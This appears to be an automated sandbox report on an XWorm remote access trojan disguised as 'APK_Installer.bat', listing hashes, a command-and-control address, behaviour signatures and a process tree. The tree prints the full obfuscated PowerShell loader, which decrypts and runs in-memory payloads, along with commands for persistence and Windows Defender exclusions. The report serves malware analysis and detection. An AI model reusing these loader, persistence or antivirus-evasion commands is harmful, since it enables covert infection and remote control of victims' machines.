xworm | 3f5e7ecf09b373256a2765700ae45c9edc070a1699893a3fd11af4cda4683552

Analysis

max time kernel
57s
max time network
57s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
30/05/2024, 15:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
APK_Installer.bat
Size 302KB
Sample240530-s6f2taee73
SHA256 3f5e7ecf09b373256a2765700ae45c9edc070a1699893a3fd11af4cda4683552
MD5 7a5f5944302b8298714b56ae2f138b7c
SHA1 669b42f2f6e76895899d84d5ad7a12f23d951f13
SHA512 73049c86a87fe41797a4f3b382e0f2740a9def19ee12979d7a37237b33fa5aa3ad2ec1c4852ebc02987afa75f08fd52115d4a416eabf38b5df1936ce38b8f120
SSDEEP 6144:32i9XCwjujllYECVvYOjntEw8ZNsT0oilQHSzlO8DF8hVvRj:32iBCwyhCVlaJZUilQHulOq2vRj
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

19.ip.gl.ply.gg:38173

Attributes

Install_directory
%Userprofile%
install_file
Runtime Broker.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4612-49-0x00000291E5DF0000-0x00000291E5E0A000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
36	4612	powershell.exe
38	4612	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2804	powershell.exe
4320	powershell.exe
3140	powershell.exe
2008	powershell.exe
4612	powershell.exe
3276	powershell.exe
2952	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Runtime Broker.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Runtime Broker.lnk	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Runtime Broker = "C:\\Users\\Admin\\Runtime Broker.exe"	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
632	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3392	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133615574881754493"	chrome.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 33 IoCs

pid	Process
3276	powershell.exe
3276	powershell.exe
2952	powershell.exe
2952	powershell.exe
4612	powershell.exe
4612	powershell.exe
2804	powershell.exe
2804	powershell.exe
2804	powershell.exe
4320	powershell.exe
4320	powershell.exe
3140	powershell.exe
3140	powershell.exe
3140	powershell.exe
2008	powershell.exe
2008	powershell.exe
2008	powershell.exe
4612	powershell.exe
4288	chrome.exe
4288	chrome.exe
4612	powershell.exe
4612	powershell.exe
4612	powershell.exe
4612	powershell.exe
4612	powershell.exe
4612	powershell.exe
4612	powershell.exe
4612	powershell.exe
4612	powershell.exe
4612	powershell.exe
4612	powershell.exe
4612	powershell.exe
4612	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

pid	Process
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3276	powershell.exe
Token: SeDebugPrivilege	2952	powershell.exe
Token: SeIncreaseQuotaPrivilege	2952	powershell.exe
Token: SeSecurityPrivilege	2952	powershell.exe
Token: SeTakeOwnershipPrivilege	2952	powershell.exe
Token: SeLoadDriverPrivilege	2952	powershell.exe
Token: SeSystemProfilePrivilege	2952	powershell.exe
Token: SeSystemtimePrivilege	2952	powershell.exe
Token: SeProfSingleProcessPrivilege	2952	powershell.exe
Token: SeIncBasePriorityPrivilege	2952	powershell.exe
Token: SeCreatePagefilePrivilege	2952	powershell.exe
Token: SeBackupPrivilege	2952	powershell.exe
Token: SeRestorePrivilege	2952	powershell.exe
Token: SeShutdownPrivilege	2952	powershell.exe
Token: SeDebugPrivilege	2952	powershell.exe
Token: SeSystemEnvironmentPrivilege	2952	powershell.exe
Token: SeRemoteShutdownPrivilege	2952	powershell.exe
Token: SeUndockPrivilege	2952	powershell.exe
Token: SeManageVolumePrivilege	2952	powershell.exe
Token: 33	2952	powershell.exe
Token: 34	2952	powershell.exe
Token: 35	2952	powershell.exe
Token: 36	2952	powershell.exe
Token: SeIncreaseQuotaPrivilege	2952	powershell.exe
Token: SeSecurityPrivilege	2952	powershell.exe
Token: SeTakeOwnershipPrivilege	2952	powershell.exe
Token: SeLoadDriverPrivilege	2952	powershell.exe
Token: SeSystemProfilePrivilege	2952	powershell.exe
Token: SeSystemtimePrivilege	2952	powershell.exe
Token: SeProfSingleProcessPrivilege	2952	powershell.exe
Token: SeIncBasePriorityPrivilege	2952	powershell.exe
Token: SeCreatePagefilePrivilege	2952	powershell.exe
Token: SeBackupPrivilege	2952	powershell.exe
Token: SeRestorePrivilege	2952	powershell.exe
Token: SeShutdownPrivilege	2952	powershell.exe
Token: SeDebugPrivilege	2952	powershell.exe
Token: SeSystemEnvironmentPrivilege	2952	powershell.exe
Token: SeRemoteShutdownPrivilege	2952	powershell.exe
Token: SeUndockPrivilege	2952	powershell.exe
Token: SeManageVolumePrivilege	2952	powershell.exe
Token: 33	2952	powershell.exe
Token: 34	2952	powershell.exe
Token: 35	2952	powershell.exe
Token: 36	2952	powershell.exe
Token: SeIncreaseQuotaPrivilege	2952	powershell.exe
Token: SeSecurityPrivilege	2952	powershell.exe
Token: SeTakeOwnershipPrivilege	2952	powershell.exe
Token: SeLoadDriverPrivilege	2952	powershell.exe
Token: SeSystemProfilePrivilege	2952	powershell.exe
Token: SeSystemtimePrivilege	2952	powershell.exe
Token: SeProfSingleProcessPrivilege	2952	powershell.exe
Token: SeIncBasePriorityPrivilege	2952	powershell.exe
Token: SeCreatePagefilePrivilege	2952	powershell.exe
Token: SeBackupPrivilege	2952	powershell.exe
Token: SeRestorePrivilege	2952	powershell.exe
Token: SeShutdownPrivilege	2952	powershell.exe
Token: SeDebugPrivilege	2952	powershell.exe
Token: SeSystemEnvironmentPrivilege	2952	powershell.exe
Token: SeRemoteShutdownPrivilege	2952	powershell.exe
Token: SeUndockPrivilege	2952	powershell.exe
Token: SeManageVolumePrivilege	2952	powershell.exe
Token: 33	2952	powershell.exe
Token: 34	2952	powershell.exe
Token: 35	2952	powershell.exe

Suspicious use of FindShellTrayWindow 26 IoCs

pid	Process
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe
4288	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4612	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4452 wrote to memory of 3276	4452	cmd.exe	84
PID 4452 wrote to memory of 3276	4452	cmd.exe	84
PID 3276 wrote to memory of 2952	3276	powershell.exe	87
PID 3276 wrote to memory of 2952	3276	powershell.exe	87
PID 3276 wrote to memory of 2728	3276	powershell.exe	93
PID 3276 wrote to memory of 2728	3276	powershell.exe	93
PID 2728 wrote to memory of 4976	2728	WScript.exe	94
PID 2728 wrote to memory of 4976	2728	WScript.exe	94
PID 4976 wrote to memory of 4612	4976	cmd.exe	96
PID 4976 wrote to memory of 4612	4976	cmd.exe	96
PID 4612 wrote to memory of 2804	4612	powershell.exe	100
PID 4612 wrote to memory of 2804	4612	powershell.exe	100
PID 4612 wrote to memory of 4320	4612	powershell.exe	102
PID 4612 wrote to memory of 4320	4612	powershell.exe	102
PID 4612 wrote to memory of 3140	4612	powershell.exe	104
PID 4612 wrote to memory of 3140	4612	powershell.exe	104
PID 4612 wrote to memory of 2008	4612	powershell.exe	108
PID 4612 wrote to memory of 2008	4612	powershell.exe	108
PID 4612 wrote to memory of 632	4612	powershell.exe	110
PID 4612 wrote to memory of 632	4612	powershell.exe	110
PID 4288 wrote to memory of 4980	4288	chrome.exe	117
PID 4288 wrote to memory of 4980	4288	chrome.exe	117
PID 4288 wrote to memory of 2616	4288	chrome.exe	118
PID 4288 wrote to memory of 2616	4288	chrome.exe	118
PID 4288 wrote to memory of 2616	4288	chrome.exe	118
PID 4288 wrote to memory of 2616	4288	chrome.exe	118
PID 4288 wrote to memory of 2616	4288	chrome.exe	118
PID 4288 wrote to memory of 2616	4288	chrome.exe	118
PID 4288 wrote to memory of 2616	4288	chrome.exe	118
PID 4288 wrote to memory of 2616	4288	chrome.exe	118
PID 4288 wrote to memory of 2616	4288	chrome.exe	118
PID 4288 wrote to memory of 2616	4288	chrome.exe	118
PID 4288 wrote to memory of 2616	4288	chrome.exe	118
PID 4288 wrote to memory of 2616	4288	chrome.exe	118
PID 4288 wrote to memory of 2616	4288	chrome.exe	118
PID 4288 wrote to memory of 2616	4288	chrome.exe	118
PID 4288 wrote to memory of 2616	4288	chrome.exe	118
PID 4288 wrote to memory of 2616	4288	chrome.exe	118
PID 4288 wrote to memory of 2616	4288	chrome.exe	118
PID 4288 wrote to memory of 2616	4288	chrome.exe	118
PID 4288 wrote to memory of 2616	4288	chrome.exe	118
PID 4288 wrote to memory of 2616	4288	chrome.exe	118
PID 4288 wrote to memory of 2616	4288	chrome.exe	118
PID 4288 wrote to memory of 2616	4288	chrome.exe	118
PID 4288 wrote to memory of 2616	4288	chrome.exe	118
PID 4288 wrote to memory of 2616	4288	chrome.exe	118
PID 4288 wrote to memory of 2616	4288	chrome.exe	118
PID 4288 wrote to memory of 2616	4288	chrome.exe	118
PID 4288 wrote to memory of 2616	4288	chrome.exe	118
PID 4288 wrote to memory of 2616	4288	chrome.exe	118
PID 4288 wrote to memory of 2616	4288	chrome.exe	118
PID 4288 wrote to memory of 2616	4288	chrome.exe	118
PID 4288 wrote to memory of 2616	4288	chrome.exe	118
PID 4288 wrote to memory of 2952	4288	chrome.exe	119
PID 4288 wrote to memory of 2952	4288	chrome.exe	119
PID 4288 wrote to memory of 1672	4288	chrome.exe	120
PID 4288 wrote to memory of 1672	4288	chrome.exe	120
PID 4288 wrote to memory of 1672	4288	chrome.exe	120
PID 4288 wrote to memory of 1672	4288	chrome.exe	120
PID 4288 wrote to memory of 1672	4288	chrome.exe	120
PID 4288 wrote to memory of 1672	4288	chrome.exe	120
PID 4288 wrote to memory of 1672	4288	chrome.exe	120
PID 4288 wrote to memory of 1672	4288	chrome.exe	120
PID 4288 wrote to memory of 1672	4288	chrome.exe	120

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\APK_Installer.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4452
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JtEG91HadDOug1ikw4ED5Ft1+v0q/aQ1W+w0T1fq7bU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dK/r26SLdFIerecbjeR5Zw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $sRhXB=New-Object System.IO.MemoryStream(,$param_var); $WaKyX=New-Object System.IO.MemoryStream; $KkhnQ=New-Object System.IO.Compression.GZipStream($sRhXB, [IO.Compression.CompressionMode]::Decompress); $KkhnQ.CopyTo($WaKyX); $KkhnQ.Dispose(); $sRhXB.Dispose(); $WaKyX.Dispose(); $WaKyX.ToArray();}function execute_function($param_var,$param2_var){ $HiXkA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GEGne=$HiXkA.EntryPoint; $GEGne.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\APK_Installer.bat';$gMRjN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\APK_Installer.bat').Split([Environment]::NewLine);foreach ($wPRor in $gMRjN) { if ($wPRor.StartsWith(':: ')) { $MmaAY=$wPRor.Substring(3); break; }}$payloads_var=[string[]]$MmaAY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3276
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_870_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_870.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2952
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_870.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2728
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_870.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4976
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JtEG91HadDOug1ikw4ED5Ft1+v0q/aQ1W+w0T1fq7bU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dK/r26SLdFIerecbjeR5Zw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $sRhXB=New-Object System.IO.MemoryStream(,$param_var); $WaKyX=New-Object System.IO.MemoryStream; $KkhnQ=New-Object System.IO.Compression.GZipStream($sRhXB, [IO.Compression.CompressionMode]::Decompress); $KkhnQ.CopyTo($WaKyX); $KkhnQ.Dispose(); $sRhXB.Dispose(); $WaKyX.Dispose(); $WaKyX.ToArray();}function execute_function($param_var,$param2_var){ $HiXkA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GEGne=$HiXkA.EntryPoint; $GEGne.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_870.bat';$gMRjN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_870.bat').Split([Environment]::NewLine);foreach ($wPRor in $gMRjN) { if ($wPRor.StartsWith(':: ')) { $MmaAY=$wPRor.Substring(3); break; }}$payloads_var=[string[]]$MmaAY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops startup file
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:4612
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2804
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4320
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Runtime Broker.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3140
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Runtime Broker.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2008
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Runtime Broker" /tr "C:\Users\Admin\Runtime Broker.exe"
        6⤵
        Creates scheduled task(s)
        
        PID:632
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /delete /f /tn "Runtime Broker"
        6⤵
        
        PID:3988
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp9DE.tmp.bat""
        6⤵
        
        PID:4688
        
        C:\Windows\system32\timeout.exe
        
        timeout 3
        7⤵
        Delays execution with timeout.exe
        
        PID:3392

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4288
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffee3deab58,0x7ffee3deab68,0x7ffee3deab78
  2⤵
  PID:4980
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1708 --field-trial-handle=1952,i,7666308903816656342,9562658877685215037,131072 /prefetch:2
  2⤵
  PID:2616
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1952,i,7666308903816656342,9562658877685215037,131072 /prefetch:8
  2⤵
  PID:2952
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2260 --field-trial-handle=1952,i,7666308903816656342,9562658877685215037,131072 /prefetch:8
  2⤵
  PID:1672
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3100 --field-trial-handle=1952,i,7666308903816656342,9562658877685215037,131072 /prefetch:1
  2⤵
  PID:1696
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3116 --field-trial-handle=1952,i,7666308903816656342,9562658877685215037,131072 /prefetch:1
  2⤵
  PID:224
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4316 --field-trial-handle=1952,i,7666308903816656342,9562658877685215037,131072 /prefetch:1
  2⤵
  PID:2200
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4464 --field-trial-handle=1952,i,7666308903816656342,9562658877685215037,131072 /prefetch:8
  2⤵
  PID:4940
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4612 --field-trial-handle=1952,i,7666308903816656342,9562658877685215037,131072 /prefetch:8
  2⤵
  PID:4776
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4688 --field-trial-handle=1952,i,7666308903816656342,9562658877685215037,131072 /prefetch:8
  2⤵
  PID:4584
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4808 --field-trial-handle=1952,i,7666308903816656342,9562658877685215037,131072 /prefetch:8
  2⤵
  PID:3596
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4684 --field-trial-handle=1952,i,7666308903816656342,9562658877685215037,131072 /prefetch:8
  2⤵
  PID:3264

C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"
1⤵
PID:2364

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

TransportSecurity

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Size 356B
SHA256 fdca49797825a0d88211b63dd419306672f61526fbeb0c3b15f3e9391ac4ede3
MD5 7bdd8682df66300258bdaa18118465f9
SHA1 d4ef2b01eff7f3980bc32092ea030b4300dbff18
SHA512 45e01dc1e5453b0d24fbd1cb7314ed3628ebf61ee6719898e15c0c8d98f30c80e9fd5d00b04bec5fc8ee287d916813558518ea231888014796da926780a0dbd8
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 6KB
SHA256 20c2bd58560dc543c63757c77656ef5469a52d58684772d56b614ee9df826131
MD5 b5e3bae3ab1ca6c967f77983b0571bee
SHA1 eb514da86bf9092afc9994ba5baee4736bbf2c34
SHA512 0a8452135a90c397c3a964c61c8e967911d30d69585ebe05e40b2f182415fc8aca3bdd7589747d1dd7168192179d73eddd034fe73bc7a0523b433d8f28155497
SSDEEP 192:fWElSzaxiSVaJ78syh+FY0t/SP5tjEsXtScR:fVwtXtyq5t/utIsXtScR
MD5 SHA1 SHA512 SSDEEP

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 16KB
SHA256 b64bee4bc4c261e1259c73737705343abfd0970fc6f79ba4f8f70c71b26249ee
MD5 fa23db907dd1fb044bc3c403da3864ec
SHA1 a7a55124ac2de917af80c0fe6562e453aa62ef8b
